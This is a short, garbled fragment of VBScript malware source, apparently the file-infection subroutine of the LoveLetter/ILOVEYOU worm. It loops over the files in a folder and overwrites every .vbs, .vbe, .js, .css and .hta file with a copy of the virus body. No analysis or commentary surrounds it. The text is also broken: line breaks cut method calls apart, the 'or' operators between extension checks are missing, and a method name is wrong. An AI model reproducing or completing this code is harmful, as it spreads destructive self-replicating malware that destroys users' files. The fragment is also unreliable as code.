sub
infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,
mircfname,s,bname,mp3

set f = GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.
GetExtension(f1.path)

ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or
(ext="vbe") then
set ap=fso.OpenFile
(f1.path,2,true)

ap.write vbscopy
ap.close
elseif(ext="js")
(ext="css")
(ext="hta") then
set ap=fso.OpenTextFile
(f1.path,2,true)

ap.write vbscopy
ap.close